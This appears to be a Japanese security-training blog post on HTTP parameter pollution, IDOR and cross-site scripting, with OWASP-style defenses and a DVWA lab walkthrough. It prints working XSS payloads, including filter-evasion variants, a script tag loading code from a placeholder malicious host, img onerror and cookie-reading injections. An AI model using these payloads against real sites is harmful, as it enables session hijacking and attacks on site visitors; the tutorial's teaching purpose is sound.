導入
本記事は以下の続編として、認可の脆弱性と、クロスサイトスクリプティング（XSS）の脆弱性及び演習を扱います。
この記事で得られること
- 認可処理の不備による脆弱性（HPP・IDOR）の理解と検証方法
- XSS（リフレクション・ストアド・DOMベース）の攻撃例と影響
- XSSの防御手法・OWASP準拠の対策指針
- DVWAを用いたXSS攻撃のハンズオン解説
⚠️ 注意（必読）
本記事で扱う内容は、悪用した場合、重大な法的リスクを伴います。
許可された演習環境・検証環境でのみ実施してください。
実在組織・個人への攻撃は禁止されています。
本章について
6章ではアプリケーションベースの脆弱性の悪用を解説しますが、
内容が広範なため複数の記事に分割いたします。
以下が6章全体の構成です。
- 6.1. Webアプリケーションベースの攻撃の概要とOWASPトップ10
- 6.2. 独自のWebアプリラボの構築方法
- 6.3. ビジネスロジックの欠陥の理解
- 6.4. インジェクションベースの脆弱性理解
- 6.5. 認証ベースの脆弱性悪用
- 6.6. 認可ベースの脆弱性悪用👈本記事
- 6.7. クロスサイトスクリプティング（XSS）の脆弱性理解👈本記事
- 6.8. クロスサイトリクエストフォージェリ（CSRF/XSRF）とサーバーサイトリクエストフォージェリ攻撃の概要
- 6.9. クリックジャッキングの概要
- 6.10. セキュリティ設定ミスの悪用
- 6.11. ファイルインクルード脆弱性の悪用
- 6.12. 安全でないコードの悪用
1. 認可ベース脆弱性の悪用（6.6）
1-1. HTTP Parameter Pollution（パラメータ汚染）
● パラメータ汚染とは
同一名称のパラメータを複数送信した際に、アプリ側のパラメータ解釈が乱れ、
値の誤上書き・無視・予期せぬ分岐などが発生する脆弱性です。
例：
https://store.h4cker.org/?search=cars&search=bikes
アプリ側の実装によって、
- 最初の値を採用
- 最後の値を採用
- 配列化する
- 意図しないエラーを起こす
など挙動が変わります。
● 簡易的なHPP検証例
https://store.h4cker.org/?search=cars #正規のURL
https://store.h4cker.org/?search=cars&results=20
https://store.h4cker.org/?search=cars&results=20&search=bikes
後者のレスポンスが変動する場合、HPPが成立している可能性が高いです。
resultsが無効であればsearch=carsの結果のみ返却され、
2重パラメータが無効化されていればsearch=carsが同様に返却されるはずです。
● HPP脆弱性発見ツール
- OWASP Zed Attack Proxy（ZAP）
https://github.com/zaproxy/zaproxy
1-2. 安全が担保されない直接オブジェクト参照（IDOR）
● IDORとは
ユーザ入力値をそのままオブジェクトの識別子として利用し、
認可チェックをバイパスして他者データへアクセスできてしまう脆弱性です。
● 典型例
https://store.h4cker.org/buy?customerID=1188
customerID=1188 を 1189 に変更すると他人の購入履歴にアクセスできる可能性があります。
https://store.h4cker.org/changepasswd?user=user
パラメータを変更し別のユーザーのパスワード変更を誘発…といった悪用が可能になります。
● 対策
- アクセス権限の検証
- 推測困難な識別子の採用
2. クロスサイトスクリプティング（XSS）の脆弱性悪用（6.7）
2-1. XSSとは
Webアプリが不正なスクリプトを受け入れ、ブラウザ上で実行されてしまう攻撃。
主に以下3タイプに分類されます。
- リフレクション型 XSS（非永続型）
- ストアド XSS（永続型）
- DOMベース XSS
2-2. XSS 脆弱性が現れやすい箇所
- 検索フォームやフィードバック欄
- HTTPヘッダー
- エラーメッセージ
- Hiddenフィールド
- DOMを参照して動的生成する箇所（innerHTML等）
3. 各種XSS攻撃の詳細
3-1. リフレクション型 XSS
入力値が即時レスポンスとして反映されるタイプ。
主に悪意のあるURLをクリックした際に実行されます。
攻撃フロー：
- 脆弱性を持つURLを特定
- 悪意あるパラメータ入りURLを被害者へ送付
- 被害者がURLを踏む
- レスポンスでスクリプトが実行される
3-2. ストアド（永続型）XSS
スクリプトがサーバ側に保存され、ページ閲覧者全員へ永続的に影響する攻撃。
与える影響が大きく、ブログのコメントフォーラムやウェブフォーラムで実行されます。
例：
- コメントフォームに偽のログイン誘導ポップアップを注入
3-3 DOMベース XSS
ブラウザ側のJavaScript処理に起因するXSS攻撃。
典型例：
https://example.com/#<script>alert('DOM-XSS')</script>
# 以降はサーバへ送信されないものの、脆弱なJSが以下のように innerHTML 経由でスクリプトを実行してしまう。
const name = location.hash.substring(1);
document.getElementById('msg').innerHTML = name;
4. XSSフィルター回避技術
次のJavaScriptインジェクションを実行する際の手段について考えます。
<SCRIPT SRC=http://malicious.h4cker.org/xss.js></SCRIPT>
XSSを防ぐ手立てを知るうえで、攻撃者がどのようにスクリプトを仕掛けてくるかを知ることは重要です。
※紹介する内容は古い手法も多く、実際の攻撃ではあまり使用されません。しかし、どのようにフィルター回避に当たっての考え方を知るにはわかりやすい内容です。
4-1. imgタグによる回避
imgタグにスクリプトを埋め込んで回避する方法です。
※古い手法で現行のchromeやFireFox、Safariでは無効化されます。
<img src="javascript:alert('xss');">
<img src=javascript:alert('xss')>
<img src=javascript:alert("XSS")>
<img src=javascript:alert('xss')>
4-2. HTMLタグによる回避
HTMLタグを悪用し回避する方法です。
<a onmouseover="alert(document.cookie)">This is a malicious link</a>
<a onmouseover=alert(document.cookie)>This is a malicious link</a>
4-3. 文字列変換による回避
文字列を16進数に置き換えて回避する方法です。
<img src=javascript:alert('XSS')>
4-4. 埋め込みタグによる回避
HTML埋め込みタグを悪用しSVGファイルを内に埋め込む方法です。
<EMBED SRC=”data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH
A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcm
cvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3
hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaW
dodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdC
I+YWxlcnQoIlhTUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml"
AllowScriptAccess="always"></EMBED>
4-5. OWASPのXSSフィルター回避のチートシート
その他紹介しきれないXSSフィルター回避の手立ては以下を参照ください。
5. XSS防御策
5-1. HTMLエスケープ
文字列をそのまま受け取らないようなエンコード処理
HTML要素：
<div>Hello,<?= $_GET["msg"] ?></div>
エンコード処理例：
<script>alert(1)</script> → <script>alert(1)</script>
#「<」を<に置き換えるなど、危険文字をHTMLエスケープしている。
処理がなければ<script>alert(1)</script>と入力された際に攻撃を受けてしまう。
5-2. 属性値エスケープ
NGコード例：
<img src="<?= $_GET['url'] ?>">
OKコード例：
<img src="{{ url | e('html_attr') }}">
NGコードの場合、" onerror="alert('XSS') と入力された際に攻撃を受けてしまう。
5-3. JavaScriptコンテキストへの挿入防止
NGコード例：
<script>
var name = "<?= $_GET['name'] ?>"; // NG
</script>
OKコード例：
<script>
const data = JSON.parse("{{ json_data | tojson }}");
</script>
NGコードの場合、"; alert(1); //と入力された際に攻撃を受けてしまう。
5-4. CSSコンテキストのエスケープ
NGコード例：
<div style="color: <?= $_GET['color'] ?>">Hello</div>
OKコード例：
<div style="color: {{ color | e('css') }}"></div>
NGコードの場合、red; background-image: url("javascript:alert('XSS')")と入力された際に攻撃を受けてしまう。
5-5. HTMLにおけるURLエスケープ
NGコード例：
<a href="/search?q=<?= $_GET["q"] ?>">search</a>
OKコード例：
<a href="/search?q={{ q | urlencode }}">search</a>
NGコードの場合、hoge" onclick="alert('XSS')と入力された際に攻撃を受けてしまう。
5-6. HTTPOnly Cookie
JavaScriptからCookieの読み出しを禁止します。
Set-Cookie: sessionid=abc123; Secure; HttpOnly
5-7. Content Security Policy（CSP）
インラインスクリプトを禁止し、外部スクリプトを限定します。
Content-Security-Policy: script-src 'self' 'nonce-random123';
5-8. DOMベースXSS対策
脆弱性のある関数の利用を控えます。
NGコード例：
innerHTML → textContent を使用する
5-9. その他対策
- 信頼されないデータ（ユーザー入力など）の実行領域を最小化する
- エスケープ処理が施されているテンプレートを利用する
- URLのパラメータのみをエンコードする
5-10. OWASPのチートシート
6. DVWA を用いた XSS 攻撃の実践
以下では DVWA を使って リフレクションXSS・ストアドXSS を段階的に検証した内容を整理します。
6-1. リフレクション型XSS（セキュリティレベル：低 → 中 → 高）
● レベル：低
入力フォームの動作確認
Reflected_Test を入力すると、そのまま HTML に反映されます。
ソースコード上でHello Reflected_Testの文字列が確認できます。
👉スクリプトもそのまま反映される可能性があり、脆弱性であると判断できます。
スクリプトの実行
<script>alert("You are hacked!")</script> によりポップアップを実行します。
脆弱性の悪用に成功しました。
URLの抽出
ポップアップが表示されたURLhttp://10.6.6.13/vulnerabilities/xss_r/?name=<script>alert("You+are+hacked!")<%2Fscript>#
をコピーし別タブで開くことで、同様のポップアップが表示されることを確認できます。
👉不用意にURLを開くと、悪意のあるスクリプトが実行されることを示しています。
● レベル：中
レベル：低のスクリプトの実行
スクリプトを実行してもポップアップは表示されません。
本来は見えませんがバックエンドのソースコードを画面右下のView Sourceから確認すると、
str_replace() により <script> がnull値に置きわかるようなフィルタが追加されたことを確認できます。
その結果ただの文字列と表示されている状態です。
スクリプトの再実行
str_replace()関数は小文字の<script>を回避するだけなので、大文字混在で回避が可能です。
実行スクリプト：
<ScRipt>alert("You are hacked!")</ScRipt>
● レベル：高
レベル：中のスクリプトの実行
スクリプトを実行してもポップアップは表示されません。
レベル：中のとき同様バックエンドのソースコードを確認すると、
正規表現ベースのフィルタにより大文字小文字によらず <script> を完全除去してます。
その結果文字列としても表示されていない状態です。
スクリプトの再実行
別のHTMLタグであるimgタグを利用してスクリプトを実行します。
実行スクリプト：
<img src=x onerror=alert("You_are_hacked!")>
こちらは存在しない画像を読み込みエラーが発生したため、
エラー条件となっているポップアップを読み込むことで実現しています。
6-2. ストアドXSS
セキュリティレベルの変化に伴う差分はリフレクション型XSSの演習と重複するため割愛し、
セキュリティレベル低の時のみの動作を確認します。
ポップアップスクリプト
入力フォームの動作確認
名前/メッセージを入力すると反映されることが確認できます。
先ほどの演習同様ソースコード上で入力値がそのまま確認できるので脆弱性を有していることが確認できます。
スクリプトの実行
メッセージ欄へ以下の通り入力し実行すると、ポップアップが表示されます。
<script>alert("You are hacked!")</script>
実行後のページの挙動
ページ更新のたびにスクリプトが実行されることを確認できます。
👉データーベース上にスクリプトが残り続けているためです。誰かがこのページを訪れるたびに実行されるため非常に影響力の大きいXSS攻撃です。
iframeに関するエクスプロイト
メッセージ欄に<iframe src="http://h4cker.org"></iframe>と入力し実行すると、投稿したメッセージにwebサイトが表示されます。
👉攻撃者が悪意のあるサイトに転送する可能性を示しています。
Cookieに関するエクスプロイト
メッセージ欄に<script>alert(document.cookie)</script>と入力し実行すると、ポップアップにCookieが表示されます。
👉別の宛先にCookieが送信されセッションハイジャックにつながる可能性を示しています。
まとめ
本記事では、認可処理の不備に起因する脆弱性（HPP・IDOR）と、
Webアプリケーションの代表的なインジェクションであるXSSについて、
概念 → 攻撃例 → 防御原則 → 実践検証 の流れで解説いたしました。
特にXSSは入力点が多く、コンテキストごとに対処法が異なるため、
OWASPの防御指針を理解した上で、
「挿入される場所に応じたエスケープ」 を適切に実装することが重要です。
📍 次回予告
次回は「6.8.クロスサイトリクエストフォージェリ（CSRF/XSRF）とサーバーサイトリクエストフォージェリ攻撃の概要」以降の6章の内容を解説します。
次の記事はこちら